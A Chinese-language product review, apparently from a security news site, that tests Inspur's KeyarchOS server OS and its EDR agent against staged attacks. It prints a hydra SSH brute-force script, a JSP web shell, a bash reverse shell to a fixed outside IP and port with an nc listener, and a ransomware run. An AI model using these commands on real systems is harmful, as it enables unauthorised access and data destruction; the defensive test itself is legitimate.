背景
近幾年服務(wù)器安全防護(hù)越來越受到企業(yè)的重視,企業(yè)在選購時(shí)不再僅僅看重成本,還更看重安全性,因?yàn)橐坏?shù)據(jù)泄露,被暴力破解,將對公司業(yè)務(wù)造成毀滅性打擊。鑒于人們對服務(wù)器安全性的看重,本篇文章就來測評一下市場上一款非常暢銷的服務(wù)器操作系統(tǒng)——浪潮信息服務(wù)器操作系統(tǒng)云巒KeyarchOS。
環(huán)境準(zhǔn)備
在本次測評中,我們使用三臺已經(jīng)安裝了 KeyarchOS 系統(tǒng)的機(jī)器(以下簡稱 KOS 主機(jī)),由于 KOS 的防護(hù)功能需要安裝 EDR 安全工具(通過安裝在 KOS 主機(jī)上的本地客戶端(Agent)與管理中心聯(lián)動(dòng),提供病毒木馬、勒索軟件、暴力破解等攻擊的查殺防護(hù)功能,防御未知程序運(yùn)行和關(guān)鍵業(yè)務(wù)文件篡改),我們的機(jī)器配置如下:
3 臺安裝了 KOS 系統(tǒng)的服務(wù)器
另外在攻防演示時(shí)需要的病毒文件及程序也已經(jīng)提前安裝好了。下文會詳細(xì)介紹。
下面進(jìn)入第一個(gè)真實(shí)的業(yè)務(wù)場景。
基于暴力破解的橫向滲透防護(hù)
在暴力破解中,攻擊人員經(jīng)常會使用一些工具來掃描,攻擊我們的服務(wù)器了。使用這工具進(jìn)行掃描漏洞,使用字典不斷試出密碼。
下面看一下 KOS 在防護(hù) hydra 暴力破解工具方面的表現(xiàn)。
我們在 B 主機(jī)安裝要使用 hydra 工具,并編寫用于攻擊的腳本 hydra.sh。
該腳本將會攻擊我們的主機(jī) A(安裝了 EDR ) 和主機(jī) C(未安裝 EDR )。
其中 hydra.sh 代碼如下:
#!/bin/bashcd /usrhydra -l root -P pass_30.txt -t 4 -I ssh:// [ 主機(jī) C IP ] hydra -l root -P pass_30.txt -t 4 -I ssh:// [ 主機(jī) A IP ]
以上的命令是使用 hydra 工具進(jìn)行 SSH 密碼破解。下面是命令中各選項(xiàng)的詳細(xì)解釋:
hydra: 這是要使用的工具,hydra 是一個(gè)開源的、命令行下的多線程密碼破解工具,可以用來破解各種服務(wù)的密碼,包括 SSH、FTP、HTTP 等。
-l root: 這表示使用 "root" 作為用戶名進(jìn)行嘗試。你可以替換 "root" 為任何你想要嘗試的用戶名。
-P pass_30.txt: 這表示使用 "pass_30.txt" 文件作為密碼源。這個(gè)文件應(yīng)該包含了你想要嘗試的所有可能的密碼。注意,這個(gè)文件需要在當(dāng)前工作目錄下,或者你需要提供完整的文件路徑。
-t 4: 這表示使用 4 個(gè)線程進(jìn)行破解。你可以根據(jù)需要增加或減少線程數(shù)。
-I ssh:// [ 主機(jī) C IP ] 這是你要破解的目標(biāo)服務(wù)器的地址。在這個(gè)例子中,目標(biāo)服務(wù)器是位于 IP 地址 [ 主機(jī) C IP ] 的 SSH 服務(wù)。注意,在 IP 地址前需要加上 "ssh://"。
使用下面指令來運(yùn)行該腳本 sh hydra.sh,以下為顯示的日志
從日志中我們可以看到,主機(jī) B 向主機(jī) A 發(fā)起的破解,被攔截下來,這是因?yàn)橹鳈C(jī) A 安裝了 EDR 。
反觀未安裝 EDR 的主機(jī) C 則被成功爆破,被破解了登錄密碼。
挖礦病毒防護(hù)
最近有一些人利用工具掃描服務(wù)器漏洞,利用掃描出的漏洞,上傳文件,進(jìn)行遠(yuǎn)程操作機(jī)器,我們熟知的挖礦病毒就是這樣一類程序。
下面來演示一下,KOS 在防范 shell 入侵的表現(xiàn)。
首先在主機(jī) A,主機(jī) B 上準(zhǔn)備好上傳文件的程序。打開瀏覽器,訪問 http://IP:8080/reverse/upload.html 頁面 這是一個(gè)上傳文件的頁面。如下圖:
其中 upload.html 內(nèi)容如下:
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta charset="utf-8"> <style> .button { font-size: 13px; display: inline-block; font-weight: normal; text-align: center; vertical-align: middle; -ms-touch-action: manipulation; touch-action: manipulation; cursor: pointer; background-image: none; border-width: 1px; white-space: nowrap; font-size: 12px; height: 26px; line-height: 26px; padding: 0 10px; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background: #28a6fa; border-color: #28a6fa; width:60px; } .filese{ height: 26px; } .fdiv{ height:80px; color:white; width:100%; } .bodybg{ width:100%; background-image:url ( "kosbgc.png" ) ; } .spant{ font-size:30px; } .span1{ color:white; } </style> </head> <body class="bodybg"> <div class="fdiv"> <span class="spant"> 文件交換系統(tǒng) </span> </div> <form action="action.jsp" enctype="multipart/form-data" method="POST"> <span class="span1"> 選擇文件 : </span><input class="filese" type="file" name="myfile" /> <input class="button" type="submit" value=" 提交 " /> </form> </body> </html>
通過這個(gè)入口上傳兩個(gè)文件 reverse.jsp 和 shell.sh
兩個(gè)文件的內(nèi)容如下:
reverse.jsp 內(nèi)容:
<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="Hosted by one.com.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStreamwv; OutputStream ne; StreamConnector ( InputStreamwv, OutputStream ne ) { this.wv = wv; this.ne = ne; } public void run ( ) { BufferedReaderqn = null; BufferedWriteragw = null; try { qn = new BufferedReader ( new InputStreamReader ( this.wv ) ) ; agw = new BufferedWriter ( new OutputStreamWriter ( this.ne ) ) ; char buffer [ ] = new char [ 8192 ] ; int length; while ( ( length = qn.read ( buffer, 0, buffer.length ) ) > 0 ) { agw.write ( buffer, 0, length ) ; agw.flush ( ) ; } } catch ( Exception e ) {} try { if ( qn != null ) qn.close ( ) ; if ( agw != null ) agw.close ( ) ; } catch ( Exception e ) {} } } try { String ShellPath = new String ( ) ; ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh"; Process process = Runtime.getRuntime ( ) .exec ( ShellPath ) ; } catch ( Exception e ) {} %>
shell.sh 內(nèi)容
#!/bin/bashbash -i >& /dev/tcp/43.140.202.127/8446 0>&1
在安裝了 EDR agent 的機(jī)器 A 上,上傳病毒文件,直接顯示上傳失敗
下面看一下在未安裝 EDR agent 的機(jī)器 B 上的表現(xiàn)。
在機(jī)器 B 上,能夠直接上成功兩個(gè)文件。
上成功后我們在測試靶機(jī) C 使用 nc -l -vv -p 8446 命令監(jiān)聽 8446 端口
能夠看到 主機(jī) B ( 未安裝 EDR ) 在測試靶機(jī)反彈成功,到了這一步,主機(jī) B 已經(jīng)執(zhí)行了上傳的 shell.sh 腳本。
勒索病毒防護(hù)
我們在機(jī)器 A 和機(jī)器 B 上分別執(zhí)行勒索病毒腳本,該勒索病毒會加密我們的 doc 文件。
執(zhí)行腳本 install.sh
#!/bin/bash ./testransomware /opt/2csec/
我們使用加密病毒 testransomware 來對某個(gè)文件夾下的 doc 文件進(jìn)行加密。
在 主機(jī) B ( 未安裝 EDR ) 執(zhí)行結(jié)果
從日志上看,文件都以被加密完成。
查看 /opt/2csec 文件夾。查看文件,發(fā)現(xiàn)文件擴(kuò)展名都已被修改。
在 主機(jī) A ( 未安裝 EDR ) 執(zhí)行結(jié)果
會將進(jìn)程殺死,并刪除 testransomware 病毒
總結(jié)
以上就是針對浪潮信息 KOS 做的一些安防測評,模擬了最常見的暴力破解,漏洞上傳,和勒索病毒的防控。
從大體上來講在安裝了 EDR 安全工具的 KOS 主機(jī)上,都能夠準(zhǔn)確無誤地識別并攔截成功。
訪談
更多做行業(yè)賦能者 HID迎接數(shù)字化浪潮新機(jī)遇 破解新挑戰(zhàn)
今年3月份,全球可信身份解決方案提供商HID發(fā)布了最新的《安防行業(yè)現(xiàn)狀報(bào)告》(以下簡稱“報(bào)告”),該報(bào)告…
數(shù)字化浪潮下,安防廠商如何滿足行業(yè)客戶的定制化需求?
回顧近兩年,受疫情因素影響,包括安防在內(nèi)的諸多行業(yè)領(lǐng)域都遭受了來自市場 “不確定性”因素的沖擊,市場…
博思高鄧紹昌:乘產(chǎn)品創(chuàng)新及客戶服務(wù)之舟,在市場變革中逆風(fēng)飛揚(yáng)
11月24日,由慧聰物聯(lián)網(wǎng)、慧聰安防網(wǎng)、慧聰電子網(wǎng)主辦的2022(第十九屆)中國物聯(lián)網(wǎng)產(chǎn)業(yè)大會暨品牌盛會,在深…